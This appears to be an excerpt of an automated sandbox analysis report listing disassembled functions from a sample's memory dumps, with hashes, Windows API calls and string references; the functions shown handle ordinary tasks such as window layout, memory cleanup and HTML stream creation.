
Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 95393b93bcd1f043be0510013037890eeb75950476ab101aa929824f5ee191a5
Instruction ID: 5ee382fdaea433e600e32ac29594127e0fab11923e60e2a8cdb9c6eeac196313
Opcode Fuzzy Hash: 95393b93bcd1f043be0510013037890eeb75950476ab101aa929824f5ee191a5
Instruction Fuzzy Hash: A3A00474501701CF57404F755F0530D3FD5FD455D5755415D5405D7175DF354450D701

Function 00B1ABC8 Relevance: 1.0, Instructions: 977COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3656517a269937d65cae0d8ec39795bb2ba0f8e7439345b18be7eaed4085f102
Instruction ID: 3d3edf3c82b5f65facda7e41f4504eff732d184aa911c0f52eeee81969862fb1
Opcode Fuzzy Hash: 3656517a269937d65cae0d8ec39795bb2ba0f8e7439345b18be7eaed4085f102
Instruction Fuzzy Hash: BE8207316047858FCB29CF28C9D0AFABBE1EF95304F54889DD89B8B746D730A985CB51

Function 00B05F39 Relevance: .9, Instructions: 899COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 530853b3349b2a3d859e09d526515c3d864e9637257981359b811e9ee2409062
Instruction ID: 0309e62177873f5d7e43cb90974bd95dc24db384104b30d24d94d717069fd11c
Opcode Fuzzy Hash: 530853b3349b2a3d859e09d526515c3d864e9637257981359b811e9ee2409062
Instruction Fuzzy Hash: 28822C69D39F895EE3039A3484021E7E3A86EF71C9F46E71FF8A431526E721A7C75201

Function 00B1C27F Relevance: .9, Instructions: 880COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 957e3e4f770764865b5c084bd61d322db280cc563c89754f50ffbe7270592e0c
Instruction ID: f254cde9565c8c5a2e2d9ec47b77fbd19087337c32cefeadbaf1612859ff3767
Opcode Fuzzy Hash: 957e3e4f770764865b5c084bd61d322db280cc563c89754f50ffbe7270592e0c
Instruction Fuzzy Hash: 2872E2716483898FCB15CF68C8906E9BFE2FF95304F5885ADD89A8B346D330E985CB51

Function 00B15214 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 605082976fd6bcb660ea90b2928608d33a4af8ea1a4694150b2d300d36c2867c
Instruction ID: fc2d98001e61f27a40b2687f223dda2a6243fdb043dc40964355a43063319f32
Opcode Fuzzy Hash: 605082976fd6bcb660ea90b2928608d33a4af8ea1a4694150b2d300d36c2867c
Instruction Fuzzy Hash: D8525B72A187018FC718CF19C891A6AF7E1FFCC304F498A2DE5959B245D334EA19CB86

Function 00B1BC05 Relevance: .5, Instructions: 537COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e786808fef9d4e6bf322b62ae51206f2929a44a72c471ca6a2e14319f3bf5c
Instruction ID: 072c6ca26e6d3cba643a1343154cdc2c7e8f1f5a525f42b86d063f4a944e7f3a
Opcode Fuzzy Hash: 61e786808fef9d4e6bf322b62ae51206f2929a44a72c471ca6a2e14319f3bf5c
Instruction Fuzzy Hash: E512DF716447068FD728CF28C895BB9B7E0FB48308F508A7EE49AC7681E774A9D5CB41

Function 00B146CF Relevance: .3, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 089c84323ef3d92859125ab1944d4510da106b1f4bd5ca83d10ff8e08bc8ef48
Instruction ID: 11bdd635296e2fd64fca132c2f8389a27d9b56270fd18dd50ceeefcf3b078d98
Opcode Fuzzy Hash: 089c84323ef3d92859125ab1944d4510da106b1f4bd5ca83d10ff8e08bc8ef48
Instruction Fuzzy Hash: F5E17BB45083908FC305CF29D48096BBBF0EB9A701F4A099EF9D497352C735EA56DB62

Function 00B1A222 Relevance: .3, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63677cbbfe3661a98981b0701213185b819074294746bae38b55e232714c16d5
Instruction ID: 88238095d936314552b07b30d5a03bd681790d02d0af5103b7d9f3f8bf8bc1ac
Opcode Fuzzy Hash: 63677cbbfe3661a98981b0701213185b819074294746bae38b55e232714c16d5
Instruction Fuzzy Hash: A49135713093424BDB25DE68D884BFE77D2EF90304F9009BCE98A87282DA74A9C58753

Function 00B2C0D6 Relevance: .2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5320738d42a697eb58e166e3866faffb0f32eb2b0c193a9c851ee279a30de4b9
Instruction ID: b0966fea6ca18eeff1ad493ed382cb64d0786fe1a160b80d547d9e5353dc80dd
Opcode Fuzzy Hash: 5320738d42a697eb58e166e3866faffb0f32eb2b0c193a9c851ee279a30de4b9
Instruction Fuzzy Hash: 47618D3160063892EE388AA87C937BE2FD4DF15345F1004DAE84FFF282DA119D51C396

Function 00B2BEA7 Relevance: .2, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction ID: 9c6b7b4b24961f456adf853d769519ac093a97e59c31049bed795351e40d2acb
Opcode Fuzzy Hash: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction Fuzzy Hash: A85167212007B596DF349928BA96FFF2BD5DB02300F1809CAE94EC7682CF05ED459B56

Function 00B14D32 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ee31faf78791d89f12ddb336c7ff7af75c422707b794502e9e5e5257578801a
Instruction ID: 9a4d9eb6306da1fd2b2994f0e3fd9ecbb19b99f20f8985b71834f78a965a1ab7
Opcode Fuzzy Hash: 7ee31faf78791d89f12ddb336c7ff7af75c422707b794502e9e5e5257578801a
Instruction Fuzzy Hash: 3751F4325083E54FC711DF2884805AEBFE0AE9A314F8A49D9E0D55B243D331DB8ACB52

Function 00B15F0B Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1961ae05fd848a4dc68f4d74e30573b1bb22f14ce586dc81f15194f66c7ce499
Instruction ID: 494f0fb4b93d7802a14ef4282fe9021f33f768ca2e48ae95f0201068c8820591
Opcode Fuzzy Hash: 1961ae05fd848a4dc68f4d74e30573b1bb22f14ce586dc81f15194f66c7ce499
Instruction Fuzzy Hash: C351CEB1A087119FC758CF29D48055AF7E1BB88314F058A2EE899E7740DB30E9598B96

Function 00B1A008 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05051f28e1c7025b01332903b260566e0dad3863efea20ce7ce926dc4f85ab64
Instruction ID: 4052bdfd87af1df4026a788e68a276d9570ce71dc18431b88c9932ab4d24f877
Opcode Fuzzy Hash: 05051f28e1c7025b01332903b260566e0dad3863efea20ce7ce926dc4f85ab64
Instruction Fuzzy Hash: 6C31EEB17047069FCB24DF28C8511AABFE0EB95300F504A6DE49AD3782C639E949CB92

Function 00B07CBA Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df13c561cf512fd72e314f0c8c275dfb4e9792f9b659da3cf5682587dc4af2d2
Instruction ID: 900117b73895550de40b18299ac1fbb39649d80b8a876190a46ab8a811144472
Opcode Fuzzy Hash: df13c561cf512fd72e314f0c8c275dfb4e9792f9b659da3cf5682587dc4af2d2
Instruction Fuzzy Hash: A141F470945B11CFC71ADF24D0959A6BBE0FF4A700B1249EFD06A8B261EB30EA44CB59

Function 00B292D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 1c5255d8da53e373dac47a38d847f1ba7ceb1a7740b46f34dda30f899deee7da
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: C9110B7724416143D614C63EF4B45FAA3D5EAC5320F6C42FAD15E4B6D8D222ED45950C

Function 00B13EAA Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00B13EEA

Part of subcall function 00B0F6BA: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B0F6CD

Part of subcall function 00B189ED: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000050,?,00000000,00000000,00B4E088,?,00000007,00B133E2,?,?,00000050,5EA84158), ref: 00B18A0A

_strlen.LIBCMT ref: 00B13F0B
SetDlgItemTextW.USER32(?,00B4919C,?), ref: 00B13F64
GetWindowRect.USER32(?,?), ref: 00B13F9A
GetClientRect.USER32(?,?), ref: 00B13FA6
GetWindowLongW.USER32(?,000000F0), ref: 00B14051
GetWindowRect.USER32(?,?), ref: 00B14081
SetWindowTextW.USER32(?,?), ref: 00B140B0
GetSystemMetrics.USER32(00000008), ref: 00B140B8
GetWindow.USER32(?,00000005), ref: 00B140C3
GetWindowRect.USER32(00000000,?), ref: 00B140F3
GetWindow.USER32(00000000,00000002), ref: 00B14165

Strings

$%s:, xrefs: 00B13ED3
d, xrefs: 00B13FC6
CAPTION, xrefs: 00B14098

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: b880dc5cc7360aeba1126ef619f5c5d07a672473bf021f3944da971f84611242
Instruction ID: 9ec7a9ccd3f161a4fcd57328146813d0b0c987f116f7456042f8cb9e642c14d1
Opcode Fuzzy Hash: b880dc5cc7360aeba1126ef619f5c5d07a672473bf021f3944da971f84611242
Instruction Fuzzy Hash: B1819E72608301AFD714DF68CD89B6FBBE9EB88704F40095DFA85A3250DB34E949CB52

Function 00B261A7 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 58libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00B560E0,00000FA0,?,?,00B26185), ref: 00B261B3
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00B26185), ref: 00B261BE
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00B26185), ref: 00B261CF
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00B261E1
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00B261EF
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00B26185), ref: 00B26212
DeleteCriticalSection.KERNEL32(00B560E0,00000007,?,?,00B26185), ref: 00B26235
CloseHandle.KERNEL32(00000000,?,?,00B26185), ref: 00B26245

Strings

SleepConditionVariableCS, xrefs: 00B261DB
WakeAllConditionVariable, xrefs: 00B261E7
kernel32.dll, xrefs: 00B261CA
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00B261B9

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 192cf6849e308178252aefb718df73b53dd8790c0bb689a8defe6be7f08bb890
Instruction ID: b293055e4328d195112bc978d20720ffb3537d2a7b1afa7f8963452bcaa4feb4
Opcode Fuzzy Hash: 192cf6849e308178252aefb718df73b53dd8790c0bb689a8defe6be7f08bb890
Instruction Fuzzy Hash: 36015E71A40761EBDA211BB5BC4DF5E3FE8EB44B52B644492F919E32A0EE64CC008B60

Function 00B337D2 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00B33816

Part of subcall function 00B333B1: _free.LIBCMT ref: 00B333CE
Part of subcall function 00B333B1: _free.LIBCMT ref: 00B333E0
Part of subcall function 00B333B1: _free.LIBCMT ref: 00B333F2
Part of subcall function 00B333B1: _free.LIBCMT ref: 00B33404
Part of subcall function 00B333B1: _free.LIBCMT ref: 00B33416
Part of subcall function 00B333B1: _free.LIBCMT ref: 00B33428
Part of subcall function 00B333B1: _free.LIBCMT ref: 00B3343A
Part of subcall function 00B333B1: _free.LIBCMT ref: 00B3344C
Part of subcall function 00B333B1: _free.LIBCMT ref: 00B3345E
Part of subcall function 00B333B1: _free.LIBCMT ref: 00B33470
Part of subcall function 00B333B1: _free.LIBCMT ref: 00B33482
Part of subcall function 00B333B1: _free.LIBCMT ref: 00B33494
Part of subcall function 00B333B1: _free.LIBCMT ref: 00B334A6

_free.LIBCMT ref: 00B3380B

Part of subcall function 00B303D4: RtlFreeHeap.NTDLL(00000000,00000000,?,00B33546,?,00000000,?,00000000,?,00B3356D,?,00000007,?,?,00B3396A,?), ref: 00B303EA
Part of subcall function 00B303D4: GetLastError.KERNEL32(?,?,00B33546,?,00000000,?,00000000,?,00B3356D,?,00000007,?,?,00B3396A,?,?), ref: 00B303FC

_free.LIBCMT ref: 00B3382D
_free.LIBCMT ref: 00B33842
_free.LIBCMT ref: 00B3384D
_free.LIBCMT ref: 00B3386F
_free.LIBCMT ref: 00B33882
_free.LIBCMT ref: 00B33890
_free.LIBCMT ref: 00B3389B
_free.LIBCMT ref: 00B338D3
_free.LIBCMT ref: 00B338DA
_free.LIBCMT ref: 00B338F7
_free.LIBCMT ref: 00B3390F

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: c4456d0fda648927c9a7c914457e8b0c2ad1a9832ac9679e97438dc090e0e08f
Instruction ID: 6209b181107ad36cd7dfcf5e185697dc2263f8ebd31d5e938a4cf89fd9300a3c
Opcode Fuzzy Hash: c4456d0fda648927c9a7c914457e8b0c2ad1a9832ac9679e97438dc090e0e08f
Instruction Fuzzy Hash: E7319E31A043049FEB20AA39E845B5BB3E8EF04B10F3444A9F459E7551DFB1EE88CB24

Function 00B1D912 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B1D919

Part of subcall function 00B014A7: _wcslen.LIBCMT ref: 00B014B8

_wcslen.LIBCMT ref: 00B1D97B
_wcslen.LIBCMT ref: 00B1D99A
_wcslen.LIBCMT ref: 00B1D9B6
_strlen.LIBCMT ref: 00B1DA14
GlobalAlloc.KERNEL32(00000040,?,00000000,00B3D9F0,00000000,?,00000000,?,<html>,00000006,<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>,?), ref: 00B1DA2D
CreateStreamOnHGlobal.COMBASE(00000000,00000001,00000000), ref: 00B1DA54

Strings

<html>, xrefs: 00B1D95F
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00B1D976, 00B1D982
</html>, xrefs: 00B1D9B0, 00B1D9B5, 00B1D9BD
<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>, xrefs: 00B1D937

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: _wcslen$Global$AllocCreateH_prolog3_Stream_strlen
String ID: </html>$<html>$<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 1185167184-1533471033
Opcode ID: 2cf2b7ee217a3657506332238acd2d8669e5c561ab003da5e08e2925ff57b059
Instruction ID: defedcd3e9c284a621605f97e0ae0faf31a3fac64a5095a2035c60b521011919
Opcode Fuzzy Hash: 2cf2b7ee217a3657506332238acd2d8669e5c561ab003da5e08e2925ff57b059
Instruction Fuzzy Hash: 59518F71E11218AFEB04EBA0DC46BEEBBF9EF15310F540099E505BB191DB706E85CBA1

Function 00B23796 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00B237C4
GetClassNameW.USER32(00000000,?,00000080), ref: 00B237F0

